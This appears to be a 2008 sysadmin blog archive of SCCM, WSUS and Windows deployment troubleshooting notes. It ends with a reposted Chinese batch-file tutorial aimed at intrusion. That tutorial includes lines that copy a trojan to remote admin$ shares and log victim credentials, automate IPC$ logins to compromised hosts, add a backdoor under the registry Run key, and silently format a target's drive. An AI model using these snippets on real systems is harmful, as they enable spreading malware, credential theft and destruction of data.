2008-09-30

troubleshoot PXE problem

Check the SMSTS.log for following:

Network Access Account Not Set
Resolution: Go into the Client Policy in SCCM and set a Network Access Account. It sometimes "disappears" even after everything has been working fine.
http://www.myitforum.com/forums/m_177370/mpage_1/key_/tm.htm#177370

PXE CERT Not Set
Resolution: Check the PXE Certificate in the SCCM console. Verify that the Root CA is trusted. Alternatively, reset the expiration date.
http://www.myitforum.com/forums/m_177312/mpage_1/key_/tm.htm#177312

GetHostByName Failed
Resolution: Ensure the FQDN is properly set.
http://www.myitforum.com/forums/m_177318/mpage_1/key_/tm.htm#177318

2008-09-28

SCCM capture media is not bootable

The capture media you created from SCCM task sequence is not bootable.


Interesting discussion here:

http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=2378477&SiteID=17

Hardware devices not installed in Sysprep image

http://support.microsoft.com/kb/837691

SYMPTOMS
When you use the Microsoft System Preparation tool (Sysprep) to deploy a Sysprep image of Microsoft Windows XP to a computer, some devices may appear in Device Manager as not installed even when the driver for the device exists in the path that is set by the oempnpdriverspath entry in the Sysprep.inf.

If you double-click on a device in Device Manager, you receive the following error message in the Device status box on the General tab:
The drivers for this device are not installed. (Code 28)
Additionally, a yellow exclamation mark appears next to the device when you view it in Device Manager.

Back to the top
CAUSE
This problem occurs when you create a Sysprep image on a computer and then deploy that image to a computer that has the same type of hardware. Any devices that do not have their drivers installed will remain in this state after the deployment of the Sysprep image. The minisetup program that is used by Sysprep does not perform a full Plug and Play re-enumeration of all devices.

WORKAROUND
Before you run Sysprep to prepare a computer for duplication, remove any devices in device manager that are set to Code 28. To remove these devices, follow these steps:
1. Click Start, and then click Control Panel.
2. Double-click Administrative Tools.
3. Double-click Computer Management.
4. Click Device Manager.
5. Locate any device that has a yellow exclamation mark next to it.
6. Verify that the device status for the device has the error message that is listed in the "Symptoms" section of this article. To do so:
a. Right-click the device icon.
b. Click Properties.
c. The Device status box lists the error message:
The drivers for this device are not installed. (Code 28)
7. Right-click the device icon, click Uninstall and then click OK.
Repeat steps 5 through 7 for each device that has the Code 28 error message.

2008-09-27

How to fix blue screen error 0x0000007B

So, you've decided to move your drive with Windows 2000 (or XP) to a new system, or upgraded your motherboard, and you now get the dreaded blue screen of death before the operating system gets to the desktop.
All you get is a blue screen with STOP 0x0000007B error (INACCESSIBLE_BOOT_DEVICE). Here are some solutions to fix it.


Solution 1
check this page for detailed how to:
http://thinkinginpixels.com/quick-fixes/fix-stop-error-0x0000007b/
1.) download Bart PE, RunScanner, and FixMoveHD.reg file.
2.) Prepare the Bart PE Recovery CD
3.) Use the new created CD to boot the problem computer
4.)Load FixMoveHD.reg file from PE
5.)Extract 'Atapi.sys,' 'Intelide.sys,' 'Pciide.sys,' and 'Pciidex.sys' to %systemroot%\system32\drivers" folder from '%SystemRoot%\Driver Cache\i386\Driver.cab or sp2.cab'.
In my case (Winxp sp2 deployment) I used the following commands :
expand sp2.cab -f:atapi.sys c:\windows\System32\Drivers
expand sp2.cab -f:intelide.sys c:\windows\System32\Drivers
expand driver.cab -f:pciide.sys c:\windows\System32\Drivers
expand driver.cab -f:pciidex.sys c:\windows\System32\Drivers
6.)Reboot the system to normal mode and it should work fine now

solution 2:
Check this page for more detailed steps:
http://www.mostlycreativeworkshop.com/article11.html

Well, the first thing you need to do is to get the system working again, so, put the system back in the original working configuration. If you changed the motherboard, change it back to the original. If you moved the drive to a new system, place it in the old one.

Now, for people that understand what they are doing, and how to do it, here are the "quick" steps:
1 - Extract 'Atapi.sys,' 'Intelide.sys,' 'Pciide.sys,' and 'Pciidex.sys' from '%SystemRoot%\Driver Cache\i386\Driver.cab' (or SPx.CAB if it exists, where x is the latest service pack)
2 - Copy those four files to the following location: '%SystemRoot%\System32\Drivers' (do not replace files already there)
3 - Merge the registry file found below (copy the text to notepad and save as a .reg file), or better, download it here
4 - THAT'S IT! Move it to the new system (or change the motherboard), and your system should start up.

Error: This computer is not registered with the configuration manager

When deploy Winxp from bootable CD, after the DHCP setting window, got an error:
This computer is not registered with the configuration manager site.
Detailed error from smsts.log:
Client does not have an ID. Please ensure you have created a record for this client in the SMS database.
Invalid advise flags (Error: 80040001; Source: Windows)

Answer 1:
From: http://forums.microsoft.com/TechNet/ShowPost.aspx?PostID=3827655&SiteID=17
When starting from boot media or PXE (as this task sequence appears to be doing) there is no way for ConfigMgr to query AD or the SLP for a site. So, PXE and boot media can only communicate to the site they were created on. In practice, this means you should create boot media on the site you plan to use it.


Answer 2:
http://blogs.technet.com/mniehaus/archive/2008/01/19/microsoft-deployment-configmgr-boot-media-unknown-computers-web-services.aspx
To deploy an operating system to a new computer without stand-alone media that is not currently managed by Configuration Manager 2007, the new computer must be added to the Configuration Manager 2007 database prior to initiating the operating system deployment process. Although Configuration Manager 2007 can automatically discover computers on your network that have a Windows operating system installed, if the computer has no operating system installed you will need to import the new computer information by using the Import Computer Information Wizard. This wizard supports importing information about a single computer, or importing information about one or more computers from an external .csv file.
When you boot a computer using ConfigMgr boot media, a wizard will start. The first screen don't require that the computer be present in the ConfigMgr database, but in order to complete the wizard it must be. So how can we hook into this wizard to do something about this? That's where the pre-execution hook, described at http://technet.microsoft.com/en-us/library/bb694075.aspx, comes in.

2008-09-25

Unknown Computers in SCCM 2007 R2 - overview

Unknown Computers in SCCM 2007 R2 - overview

http://blogs.msdn.com/steverac/archive/2008/09/21/unknown-computers-in-sccm-2007-r2-overview.aspx

2008-09-24

Windows domain migration senario

How to migrate a domain from one forest to another forest.

Answer:
Usually you use the ADMT for restructuring an Active Directory environment.

Planning is the key as with anything but you've asked what the best practice would be and to answer that what I'll say one must understand core concepts of domains, forests and trees in Active Directory, how Active Directory works, how DNS services work because Active Directory relies upon DNS to function,, along with trust relationships between domains, trees and forests and Active Directory partitioning, and restructuring before one attempts at migration or restructuring.

For that basic knowledge set I'll suggest reading the following MS KB article on Forests, domains and trees in a MS Active Directory Environment. http://support.microsoft.com/kb/310996/en-us

I recommend you also read up on the ADMT for restructuring an Active Directory environment.

here's a link on downloading the ADMT which provides a brief intro of what it's used for. http://www.microsoft.com/downloads/details.aspx?

I'll also suggest going to Tech Net for white papers on most things Active Directory.

http://technet.microsoft.com/en-us/default.aspx

Error " The hash value is not correct" when creating stand-alone TS media

Problem:
I ran thru the create media from task sequence media wizard once with cd/dvd and once with usb. Both give me errors:
-Error Creating Media. Error message is : The hash value is not correct.

Solution:
This error indicates that the files on the DP for one of the packages referenced by your task sequence does not match the hash we calculated when the package was imported. The CreateMedia log (in the AdminUILog directory) should indicate what package does not match. My guess is that it is your boot image (since we have seen some issues with this getting out of sync). Using the Manage Distribution Points Wizard try refreshing the boot image package on all distribution points and see if this fixes the problem.

And make sure you do "Refresh DPs" and not "Update DPs". You get to "Refresh DPs" from the "Manage DPs" wizard. "Update DPs" checks the versions number in the database to decide if new content needs to be copied to the DP. If the database thinks everything is OK, it will do nothing. "Refresh DPs" assumes something might be messed up on the DP and always copies the latest version out to the DP.

Do a refresh of the distribution point followed by and immediate update fo the DP. Sounds crazy but it has worked everytime for us.

WSUS resources

中文资源,详细列出各种WSUS资源:
http://gnaw0725.blogbus.com/logs/19880145.html

DFS resources

Distributed File System (DFS)
http://technet2.microsoft.com/windowsserver/en/library/370f16f9-dd08-45dc-8cf2
-d9e2bfeada881033.mspx?mfr=true

Designing and Deploying File Servers
http://technet2.microsoft.com/windowsserver/en/library/42befce4-7c15-4306-8edc-a80b8c57c67d1033.mspx?mfr=true

Best practices for Distributed File System (DFS)
http://technet2.microsoft.com/WindowsServer/en/Library/007e4e66-af67-4bfe-bf70-780412aeed6f1033.mspx?mfr=true

2008-09-22

WSUS troubleshooting,


http://www.wsus.info/forums/index.php?showtopic=9312


Client-related

Do my clients meet the requirements to run WSUS?

Have you cloned your computers on the network? If yes, did you run Sysprep, Ghostwalker, or NewSID on the computers after they have been deployed with the new image?

Active Directory
Did you apply your GPO to the appropriate OU? Did you apply the GPO to an OU that contains computer objects?

Are you waiting long enough for your GPOs to be applied to your computers?
Is the GPO even applying to your computer?

Do you have 'Block Inheritance' set on your OU which would restrict a group policy from applying to the OU and objects contained therein?

Tools for troubleshooting:

client diagnostic tool
http://download.microsoft.com/download/9/7/6/976d1084-d2fd-45a1-8c27-a467c768d8ef/WSUS%20Client%20Diagnostic%20Tool.EXE

server diagnostic tool
http://download.microsoft.com/download/7/7/4/7745a34e-f563-443b-b4f8-3a289e995255/WSUS%20Server%20Debug%20Tool.EXE

Want to figure out which computers have duplicate SIDS?
Use psGetSID from Sysinternals: http://www.microsoft.com/technet/sysinternals/utilities/psgetsid.mspx
- You can run this against all computers in your domain to discover who has a duplicate SID.

You should really then run NewSID from Sysinterals on any of the duplicate computers to resolve any potential issues in the future (not to mention the security issues involved with having duplicate SIDS on the network): http://www.microsoft.com/technet/sysinternals/utilities/newsid.mspx

NOTE: You don't need to RUN NewSID on each computer prior to fixing the duplicate ID issue in WSUS, but it may rear its ugly head later on, so if you can find the time, I would recommend fixing this issue as soon as you can.


Error: this computer has not reported yet, wsus

Error: this computer has not reported yet, wsus


Qeustion:
Just set WSUS up in a test enviroment and im getting an error regarding my
client machine "Not Reported Status Yet" in the computers section. The
computer is added to a test group and this is a Fresh Windows XP SP" client,
2003 Server SP1.
My server is fine it's just the client where im having the problem.

Answer 1:
"Not Yet Reported" is a normal indication between the time a client first
registered (and probably is selfupdating), and completes a detection cycle,
including a reporting event. This delay is normally about 20-30 minutes,
though, so if it has been more than an hour since the client "Last
Contacted" the WSUS server, you may have a malfunction on the client side.

Start by running the Client Diagnostic Tool and posting the results. If the
output of the CDT looks normal (post the results anyway), then continue by
inspecting the %windir%\WindowsUpdate.log for error diagnostics.

Answer 2:
I don't know if it'll relate to your specific situation but I had an issue
last week where two pc's were imaged with the same Windows seat id from
Dell... WSUS will only recognize the most current machine put on the
network.

What actually happens it that WSUS recognizese the most recent machine that
/reports/ to the WSUS server if those machines have been built from
improperly prepared images.

If you're able to monitor the server closely, and frequently enough, you'll
actually see the machine name bounce between the two identical clients, as
each one executes a detection/reporting event.

Commands for windows update service troubleshooting on the client machine

Commands for windows update service troubleshooting on the client machine:

UPdate the GPO manually:
update /force

display local policy on the client pc:
rsop.msc

Force detect WSUS server:
wuauclt /detectnow

2008-09-21

BDD vs SCCM OSDD

Original discussion:
http://www.eggheadcafe.com/software/aspnet/30951396/bdd-vs-sccm-os-deployment.aspx


Question:
Could some higlight the main details why SCCM OS deployment would be used
versus BDD 2007? Or could some one point me to the right source?
I would like to get the pros and cons for SCCM.
Thanks for any help.

Answer from Kim:
Main highlights:
1) SCCM 2007, and the dpeloyment 4 beta (successor to bdd 2007) can
handle server Deployments
2) SCCM 2007 can handle offline deployments (disconnected environments)
3) Sccm 2007 is much easier to use in a multi-location environment.

BDD 2007 is great with all the scripts, but that is what the deployment
4 beta will add to SCCM 2007. Take a look on
http://connect.microsoft.com for the deployment 4 beta, which is due out
in the next month or 2.

Preparation Guide for Exam 70-401

Credit toward certification

When you pass Exam 70-401: TS: Microsoft System Center Configuration Manager 2007, Configuring, you complete the requirements for the following certification:
• Microsoft Certified Technology Specialist (MCTS): System Center Configuration Manager 2007, Configuration

Exam 70-401 also earns credit as an elective exam toward the following certifications:
• Microsoft Certified Systems Administrator (MCSA) on Windows Server 2003
• Microsoft Certified Systems Engineer (MCSE) on Windows Server 2003

Skills being measured

This exam measures your ability to accomplish the technical tasks listed in the following table. The percentages indicate the relative weight of each major topic area on the exam.
Skills measured by Exam 70-401
Deploying a System Center Configuration Manager 2007 (SCCM) Server (9 percent)

Set up and configure an Active Directory schema.

Migrate from an SMS 2003 hierarchy to SCCM 2007.

Configure an SCCM hierarchy.

Set up and configure security accounts.
Configuring an SCCM Infrastructure (19 percent)

Configure client agents.

Configure site boundaries.

Configure core site system roles.

Configure discovery methods.

Configure client installation.

Configure SCCM infrastructure for Internet-based client management.
Managing Resources (14 percent)

Build an SCCM collection by using queries.

Meter software usage.

Manage assets.

Manage inventory flow.

Manage client agents.
Distributing Applications (17 percent)

Manage packages.

Manage programs.

Manage advertisements.

Schedule distribution.

Track success/failure rates for distribution.

Manage distribution points.
Deploying Operating Systems (13 percent)

Capture a reference computer image.

Manage task sequences.

Configure site system roles related to Operating System Deployment.

Deploy operating system packages.

Customize user state migration.

Deliver applications.
Securing a Network Infrastructure (13 percent)

Configure Network Access Protection (NAP).

Maintain NAP.

Migrate from Inventory Tool for Microsoft Update (ITMU) to Windows Software Update Services (WSUS).

Deploy software updates.

Manage vulnerability compliance.
Managing and Maintaining an SCCM Infrastructure (15 percent)

Manage system health.

Configure automatic maintenance tasks.

Create custom reports.

Maintain clients.

Manage systems by using Desired Configuration Management.

Manage Wake On LAN

http://www.microsoft.com/learning/exams/70-401.mspx

Error:Task sequence cannot continue after reboot because TS Manager is not configured to auto-start or GINA is not installed

Error:
Task sequence cannot continue after reboot because TS Manager is not configured to auto-start or GINA is not installed


The Restart Computer action cannot be used to boot into a newly deployed operating system (or used to boot into the Full OS if a task sequence was started from WinPE) because the OS has not been configured to resume the task sequence. You will need to use the “Setup Windows and ConfigMgr” action which, when run after an “Apply Operating System Image” action, will configure the new operating system to resume the task sequence and reboot the machine.

The “Install an existing image package” option on the “Create a new task sequence” wizard should setup a task sequence that already has these steps.

how to use command line and script to configure boot image from SCCM

rjarrett descripted how to use command line and script to configure boot image from SCCM
http://www.myitforum.com/forums/Add_boot_image_package_wizard_errors/m_178182/tm.htm

在不同日期格式下批处理输出自定义格式的日期和时间

在Windows系统中有不同的语言版本和时区设置。有时,由于业务的需求,我们需要生成“年月日”格式的日期格式目录,然后在该目录中生成时间格式的文件,用来记录系统当前时间的日志信息。

系统日期有yy-mm-dd,mm-dd-yy以及dd-mm-yy三种格式,这样导致了使用的不方便。下面介绍几种实现方法:

1. 有人通过预先修改windows注册表将日期改成yy-mm-dd格式然后通过发出命令:c:\> echo %date:~0,4%%date:~5,2%%date:~8,2%%time:~0,2%%time:~3,2%这种该注册表的方法显然不是很可取。
2. 还有人通过vbs来实现,制作成批处理文件内容如下:@echo off
echo wscript.echo year(date) ^& right(”0″ ^& month(date),2) ^& right(”0″ ^& day(date),2) ^& right(”0″ ^& hour(time),2) ^& right(”0″ ^& minute(time),2)>%tmp%\temp1.vbs
cscript /nologo %tmp%\temp1.vbs
del %tmp%\temp1.vbs

这种使用script的方式也不是很好。
3. 我认为最好的方式是,通过批处理中的for语句进行系统日期格式的判断,然后进行处理。批处理文件内容如下:

@ECHO OFF

ECHO. |DATE > temp1
FOR /F “eol=T tokens=5 delims=() ” %%i in (temp1) do set date_format=%%i
FOR /F “eol=E tokens=5,6,7,8 delims=/- ” %%a in (temp1) do (
IF /I %date_format% EQU mm-dd-yy ( set month=%%a
set day=%%b
set year=%%c
set week=%%d )
IF /I %date_format% EQU dd-mm-yy ( set day=%%a
set month=%%b
set year=%%c
set week=%%d )
IF /I %date_format% EQU yy-mm-dd ( set year=%%a
set month=%%b
set day=%%c
set week=%%d ) )

ECHO. |TIME > temp2
FOR /F “eol=E tokens=5-8 delims=:. ” %%A in (temp2) do ( set hour=%%A
set minute=%%B
set second=%%C
set hundredth=%%D )

REM TIME format 08:10:00 PM, it means 20:10:00
REM IF %meridiem% EQU PM SET /A %%hour%%=%%hour%%+12

SET current_date=%year%%month%%day%
SET current_time=%hour%%minute%%second%%hundredth%

IF EXIST temp1 DEL /Q temp1
IF EXIST temp2 DEL /Q temp2

ECHO Current date = %current_date%
ECHO Current time = %current_time%

MKDIR %current_date%
ECHO. > %current_date%\%current_time%.log

结论:最初我尝试使用交互式语句:SET /P variable=[promptString]来处理,让执行者预先输入日期格式。这样的话,目的是可以达到,但总觉得不爽。通过查询for /? 以及相关的信息完成任务,在上述三种日期格式中测试均合格。

From: http://blog.cnetnews.com.cn/?p=5580

批处理文件详解-4

四、管道命令的使用

1.| 命令
Usage:第一条命令 | 第二条命令 [| 第三条命令...]
将第一条命令的结果作为第二条命令的参数来使用,记得在unix中这种方式很常见。

sample:
time /t>>D:\\IP.log
netstat -n -p tcp|find ":3389">>D:\\IP.log
start Explore


看出来了么?用于终端服务允许我们为用户自定义起始的程序,来实现让用户运行下面这个bat,以获得登录用户的IP。

2.>、>>输出重定向命令
将一条命令或某个程序输出结果的重定向到特定文件中, > 与 >>的区别在于,>会清除调原有文件中的内容后写入指定文件,而>>只会追加内容到指定文件中,而不会改动其中的内容。

sample1:
echo hello world>c:\\hello.txt (stupid example?)

sample2:
时下DLL木马盛行,我们知道system32是个捉迷藏的好地方,许多木马都削尖了脑袋往那里钻,DLL马也不例外,针对这一点我们可以在安装好系统和必要的应用程序后,对该目录下的EXE和DLL文件作一个记录:
运行CMD--转换目录到system32--dir *.exe>exeback.txt & dir *.dll>dllback.txt,
这样所有的EXE和DLL文件的名称都被分别记录到exeback.txt和dllback.txt中,
日后如发现异常但用传统的方法查不出问题时,则要考虑是不是系统中已经潜入DLL木马了.
这时我们用同样的命令将system32下的EXE和DLL文件记录到另外的exeback1.txt和dllback1.txt中,然后运行:
CMD--fc exeback.txt exeback1.txt>diff.txt & fc dllback.txt dllback1.txt>diff.txt.(用FC命令比较前后两次的DLL和EXE文件,并将结果输入到diff.txt中),这样我们就能发现一些多出来的DLL和EXE文件,然后通过查看创建时间、版本、是否经过压缩等就能够比较容易地判断出是不是已经被DLL木马光顾了。没有是最好,如果有的话也不要直接DEL掉,先用regsvr32 /u trojan.dll将后门DLL文件注销掉,再把它移到回收站里,若系统没有异常反映再将之彻底删除或者提交给杀毒软件公司。

3.< 、>& 、<&
< 从文件中而不是从键盘中读入命令输入。
>& 将一个句柄的输出写入到另一个句柄的输入中。
<& 从一个句柄读取输入并将其写入到另一个句柄输出中。
这些并不常用,也就不多做介绍。

No.5
五.如何用批处理文件来操作注册表

在入侵过程中经常回操作注册表的特定的键值来实现一定的目的,例如:为了达到隐藏后门、木马程序而删除Run下残余的键值。或者创建一个服务用以加载后门。当然我们也会修改注册表来加固系统或者改变系统的某个属性,这些都需要我们对注册表操作有一定的了解。下面我们就先学习一下如何使用.REG文件来操作注册表.(我们可以用批处理来生成一个REG文件)
关于注册表的操作,常见的是创建、修改、删除

1.创建
创建分为两种,一种是创建子项(Subkey)

我们创建一个文件,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\hacker]

然后执行该脚本,你就已经在HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft下创建了一个名字为“hacker”的子项。

另一种是创建一个项目名称
那这种文件格式就是典型的文件格式,和你从注册表中导出的文件格式一致,内容如下:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Invader"="Ex4rch"
"Door"=C:\\\\WINNT\\\\system32\\\\door.exe
"Autodos"=dword:02

这样就在[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下
新建了:Invader、door、about这三个项目
Invader的类型是“String Value”
door的类型是“REG SZ Value”
Autodos的类型是“DWORD Value”


2.修改
修改相对来说比较简单,只要把你需要修改的项目导出,然后用记事本进行修改,然后导入(regedit /s)即可。

3.删除
我们首先来说说删除一个项目名称,我们创建一个如下的文件:

Windows Registry Editor Version 5.00

[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]
"Ex4rch"=-

执行该脚本,[HKEY_LOCAL_MACHINE\\SOFTWARE\\Microsoft\\Windows\\CurrentVersion\\Run]下的"Ex4rch"就被删除了;

批处理文件详解-3

三.如何使用组合命令(Compound Command)

1.&

Usage:第一条命令 & 第二条命令 [& 第三条命令...]

用这种方法可以同时执行多条命令,而不管命令是否执行成功

Sample:
C:\\>dir z: & dir c:\\Ex4rch

The system cannot find the path specified.
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of c:\\Ex4rc
2002-05-14 23:51 14 sometips.gif

2.&&

Usage:第一条命令 && 第二条命令 [&& 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行出错的命令后将不执行后面的命令,如果一直没有出错则一直执行完所有命令;

Sample:
C:\\>dir z: && dir c:\\Ex4rch
The system cannot find the path specified.

C:\\>dir c:\\Ex4rch && dir z:
Volume in drive C has no label.
Volume Serial Number is 0078-59FB
Directory of c:\\Ex4rch
2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
2 Dir(s) 768,671,744 bytes free
The system cannot find the path specified.

在做备份的时候可能会用到这种命令会比较简单,如:
dir file://192.168.0.1/database/backup.mdb && copy file://192.168.0.1/database/backup.mdb E:\\backup
如果远程服务器上存在backup.mdb文件,就执行copy命令,若不存在该文件则不执行copy命令。这种用法可以替换IF exist了 :)

3.||

Usage:第一条命令 || 第二条命令 [|| 第三条命令...]

用这种方法可以同时执行多条命令,当碰到执行正确的命令后将不执行后面的命令,如果没有出现正确的命令则一直执行完所有命令;

Sample:
C:\\Ex4rch>dir sometips.gif || del sometips.gif
Volume in drive C has no label.
Volume Serial Number is 0078-59FB

Directory of C:\\Ex4rch

2002-05-14 23:55 14 sometips.gif
1 File(s) 14 bytes
0 Dir(s) 768,696,320 bytes free

组合命令使用的例子:
sample:
@copy trojan.exe \\\\%1\\admin$\\system32 && if not errorlevel 1 echo IP %1 USER %2 PASS %3 >>victim.txt

批处理文件详解-2

二.如何在批处理文件中使用参数
批处理中可以使用参数,一般从1%到 9%这九个,当有多个参数时需要用shift来移动,这种情况并不多见,我们就不考虑它了。
sample1:fomat.bat
@echo off
if "%1"=="a" format a:
:format
@format a:/q/u/auotset
@echo please insert another disk to driver A.
@pause
@goto fomat
这个例子用于连续地格式化几张软盘,所以用的时候需在dos窗口输入fomat.bat a,呵呵,好像有点画蛇添足了~^_^
sample2:
当我们要建立一个IPC$连接地时候总要输入一大串命令,弄不好就打错了,所以我们不如把一些固定命令写入一个批处理,把肉鸡地ip password username 当着参数来赋给这个批处理,这样就不用每次都打命令了。
@echo off
@net use \\\\1%\\ipc$ "2%" /u:"3%" 注意哦,这里PASSWORD是第二个参数。
@if errorlevel 1 echo connection failed
怎么样,使用参数还是比较简单的吧?

批处理文件详解

如果没有一定的相关知识恐怕不容易看懂和理解批处理文件,也就更谈不上自己动手编写了

批处理文件是无格式的文本文件,它包含一条或多条命令。它的文件扩展名为 .bat 或 .cmd。在命令提示下键入批处理文件的名称,或者双击该批处理文件,系统就会调用Cmd.exe按照该文件中各个命令出现的顺序来逐个运行它们。使用批处理文件(也被称为批处理程序或脚本),可以简化日常或重复性任务。当然我们的这个版本的主要内容是介绍批处理在入侵中一些实际运用,例如我们后面要提到的用批处理文件来给系统打补丁、批量植入后门程序等。下面就开始我们批处理学习之旅吧。

一.简单批处理内部命令简介
1.Echo 命令
打开回显或关闭请求回显功能,或显示消息。如果没有任何参数,echo 命令将显示当前回显设置。
语法
echo [{ on|off }] [message]
Sample:@echo off / echo hello world
在实际应用中我们会把这条命令和重定向符号(也称为管道符号,一般用> >> ^)结合来实现输入一些命令到特定格式的文件中.这将在以后的例子中体现出来。

2.@ 命令
表示不显示@后面的命令,在入侵过程中(例如使用批处理来格式化敌人的硬盘)自然不能让对方看到你使用的命令啦。
Sample:@echo off
@echo Now initializing the program,please wait a minite...
@format X: /q/u/autoset (format 这个命令是不可以使用/y这个参数的,可喜的是微软留了个autoset这个参数给我们,效果和/y是一样的。)

3.Goto 命令
指定跳转到标签,找到标签后,程序将处理从下一行开始的命令。
语法:goto label (label是参数,指定所要转向的批处理程序中的行。)
Sample:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms(如果这里的if、%1、%2你不明白的话,先跳过去,后面会有详细的解释。)
@Rem check parameters if null show usage
:noparms
echo Usage: monitor.bat ServerIP PortNumber
goto end
标签的名字可以随便起,但是最好是有意义的字母啦,字母前加个:用来表示这个字母是标签,goto命令就是根据这个:来寻找下一步跳到到那里。最好有一些说明这样你别人看起来才会理解你的意图啊。

4.Rem 命令
注释命令,在C语言中相当与/*--------*/,它并不会被执行,只是起一个注释的作用,便于别人阅读和你自己日后修改。
Rem Message
Sample:@Rem Here is the description.

5.Pause 命令
运行 Pause 命令时,将显示下面的消息:
Press any key to continue . . .
Sample:
@echo off
:begin
copy a:*.* d:\\back
echo Please put a new disk into driver A
pause
goto begin
在这个例子中,驱动器 A 中磁盘上的所有文件均复制到d:\\back中。显示的注释提示您将另一张磁盘放入驱动器 A 时,pause 命令会使程序挂起,以便您更换磁盘,然后按任意键继续处理。

6.Call 命令
从一个批处理程序调用另一个批处理程序,并且不终止父批处理程序。call 命令接受用作调用目标的标签。如果在脚本或批处理文件外使用 Call,它将不会在命令行起作用

语法
call [[Drive:][Path] FileName [BatchParameters]] [:label [arguments]]
参数
[Drive: }[Path] FileName
指定要调用的批处理程序的位置和名称。filename 参数必须具有 .bat 或 .cmd 扩展名。

7.start 命令
调用外部程序,所有的DOS命令和命令行程序都可以由start命令来调用。
入侵常用参数:
MIN 开始时窗口最小化
SEPARATE 在分开的空间内开始 16 位 Windows 程序
HIGH 在 HIGH 优先级类别开始应用程序
REALTIME 在 REALTIME 优先级类别开始应用程序
WAIT 启动应用程序并等候它结束
parameters 这些为传送到命令/程序的参数
执行的应用程序是 32-位 GUI 应用程序时,CMD.EXE 不等应用程序终止就返回命令提示。如果在命令脚本内执行,该新行为则不会发生。
8.choice 命令
choice 使用此命令可以让用户输入一个字符,从而运行不同的命令。使用时应该加/c:参数,c:后应写提示可输入的字符,之间无空格。它的返回码为1234……
如: choice /c:dme defrag,mem,end
将显示
defrag,mem,end[D,M,E]?
Sample:
Sample.bat的内容如下:
@echo off
choice /c:dme defrag,mem,end
if errorlevel 3 goto defrag (应先判断数值最高的错误码)
if errorlevel 2 goto mem
if errotlevel 1 goto end

:defrag
c:\\dos\\defrag
goto end
:mem
mem
goto end
:end
echo good bye

此文件运行后,将显示 defrag,mem,end[D,M,E]? 用户可选择d m e ,然后if语句将作出判断,d表示执行标号为defrag的程序段,m表示执行标号为mem的程序段,e表示执行标号为end的程序段,每个程序段最后都以goto end将程序跳到end标号处,然后程序将显示good bye,文件结束。

9.If 命令

if 表示将判断是否符合规定的条件,从而决定执行不同的命令。 有三种格式:
1、if "参数" == "字符串"  待执行的命令
参数如果等于指定的字符串,则条件成立,运行命令,否则运行下一句。(注意是两个等号)
如if "%1"=="a" format a:
if { %1 }=={ } goto noparms
if { %2 }=={ } goto noparms


2、if exist 文件名  待执行的命令
如果有指定的文件,则条件成立,运行命令,否则运行下一句

如if exist config.sys edit config.sys

3、if errorlevel / if not errorlevel 数字  待执行的命令
如果返回码等于指定的数字,则条件成立,运行命令,否则运行下一句。
如if errorlevel 2 goto x2  
DOS程序运行时都会返回一个数字给DOS,称为错误码errorlevel或称返回码,常见的返回码为0、1。

10.for 命令
for 命令是一个比较复杂的命令,主要用于参数在指定的范围内循环执行命令。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable

for { %variable|%%variable } in (set) do command [ CommandLineOptions]
%variable 指定一个单一字母可替换的参数。
(set) 指定一个或一组文件。可以使用通配符。
command 指定对每个文件执行的命令。
command-parameters 为特定命令指定参数或命令行开关。
在批处理文件中使用 FOR 命令时,指定变量请使用 %%variable
而不要用 %variable。变量名称是区分大小写的,所以 %i 不同于 %I

如果命令扩展名被启用,下列额外的 FOR 命令格式会受到
支持:

FOR /D %variable IN (set) DO command [command-parameters]

如果集中包含通配符,则指定与目录名匹配,而不与文件
名匹配。

FOR /R [[drive:]path] %variable IN (set) DO command [command-

检查以 [drive:]path 为根的目录树,指向每个目录中的
FOR 语句。如果在 /R 后没有指定目录,则使用当前
目录。如果集仅为一个单点(.)字符,则枚举该目录树。

FOR /L %variable IN (start,step,end) DO command [command-para

该集表示以增量形式从开始到结束的一个数字序列。
因此,(1,1,5) 将产生序列 1 2 3 4 5,(5,-1,1) 将产生
序列 (5 4 3 2 1)。

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\'command\') DO command

或者,如果有 usebackq 选项:

FOR /F ["options"] %variable IN (file-set) DO command
FOR /F ["options"] %variable IN ("string") DO command
FOR /F ["options"] %variable IN (\'command\') DO command

filenameset 为一个或多个文件名。继续到 filenameset 中的
下一个文件之前,每份文件都已被打开、读取并经过处理。
处理包括读取文件,将其分成一行行的文字,然后将每行
解析成零或更多的符号。然后用已找到的符号字符串变量值
调用 For 循环。以默认方式,/F 通过每个文件的每一行中分开
的第一个空白符号。跳过空白行。您可通过指定可选 "options"
参数替代默认解析操作。这个带引号的字符串包括一个或多个
指定不同解析选项的关键字。这些关键字为:

eol=c - 指一个行注释字符的结尾(就一个)
skip=n - 指在文件开始时忽略的行数

delims=xxx - 指分隔符集。这个替换了空格和跳格键的默认分隔符集。
tokens=x,y,m-n - 指每行的哪一个符号被传递到每个迭代
的 for 本身。这会导致额外变量名称的
格式为一个范围。通过 nth 符号指定 m
符号字符串中的最后一个字符星号,
那么额外的变量将在最后一个符号解析之
分配并接受行的保留文本。
usebackq - 指定新语法已在下类情况中使用:
在作为命令执行一个后引号的字符串并且
引号字符为文字字符串命令并允许在 fi
中使用双引号扩起文件名称。

sample1:
FOR /F "eol=; tokens=2,3* delims=, " %i in (myfile.txt) do command

会分析 myfile.txt 中的每一行,忽略以分号打头的那些行,将
每行中的第二个和第三个符号传递给 for 程序体;用逗号和/或
空格定界符号。请注意,这个 for 程序体的语句引用 %i 来
取得第二个符号,引用 %j 来取得第三个符号,引用 %k
来取得第三个符号后的所有剩余符号。对于带有空格的文件
名,您需要用双引号将文件名括起来。为了用这种方式来使
用双引号,您还需要使用 usebackq 选项,否则,双引号会
被理解成是用作定义某个要分析的字符串的。

